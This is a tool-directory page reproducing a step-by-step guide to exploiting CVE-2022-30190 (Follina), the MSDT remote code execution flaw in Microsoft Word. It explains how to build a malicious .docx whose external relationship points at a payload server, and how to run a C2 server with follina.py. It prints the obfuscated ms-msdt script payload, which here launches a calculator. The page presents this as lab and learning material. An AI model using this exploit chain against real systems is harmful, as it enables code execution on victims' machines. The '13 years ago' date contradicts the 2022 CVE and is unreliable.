Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-30190 — Step-by-step reproduction guide for CVE-2022-30190 (Follina) MSDT remote code execution vulnerability, including malicious document creation and C2 server setup. | Kitploit
Tools/GitHubGitHub/yrkuo/cve-2022-30190
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubyrkuo/cve-2022-30190

CVE-2022-30190

Step-by-step reproduction guide for CVE-2022-30190 (Follina) MSDT remote code execution vulnerability, including malicious document creation and C2 server setup.

View Repository
13 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-30190

aka Follina

Vulnerability Description

Follina exists in the Microsoft Support Diagnostic Tool (MSDT). When an application calls MSDT via a URL protocol for support, a remote code execution vulnerability occurs. Successful exploitation allows an attacker to execute arbitrary code with the permissions of the application.

Reproduction Environment

root@kitploit:~
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016

Reproduction Steps

Creating Malicious Document

Step1 Create a Word document (.docx) and insert an OLE object (e.g., Bitmap Image) in the text.
Step2 Unzip the .docx file, edit the word/_rels/document.xml.rels file under the folder, change the Target="embeddings/oleObject1.bin" highlighted in yellow below to , and add the attribute . Step3 Edit the file under the folder, change the highlighted in yellow below to , and add the attribute . Step4 Use 7-zip to open the .docx file (without extracting), drop the above two files into the .docx file, to complete the malicious document creation.

Target = "http://<payload_server>/<random_name>.html!"
TargetMode = "External"

rels

word/document.xml
Type="Embed"
Type="Link"
UpdateMode="OnCall"

doc

Setting up C2 Server

Download the Follina.py released by John Hammond. Here we take calling a basic calculator as an example:
python3 follina.py -c calc.exe -i eth0

NOTE

In the Follina.py file, lines 117-125 mainly create the malicious payload (.html). The content is as follows. <script>location.href... is the script that executes the calculator on the victim's machine. The entire file is also padded with a large number of random characters, aiming to fill the file to at least 4096 bytes. For the reason, refer to “Follina” MSDT Attack.

root@kitploit:~
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script

References

News Explanation Follina.py
Malicious Document
Vulnerability Test 1
Vulnerability Test 2
Vulnerability Test 3

Download Tool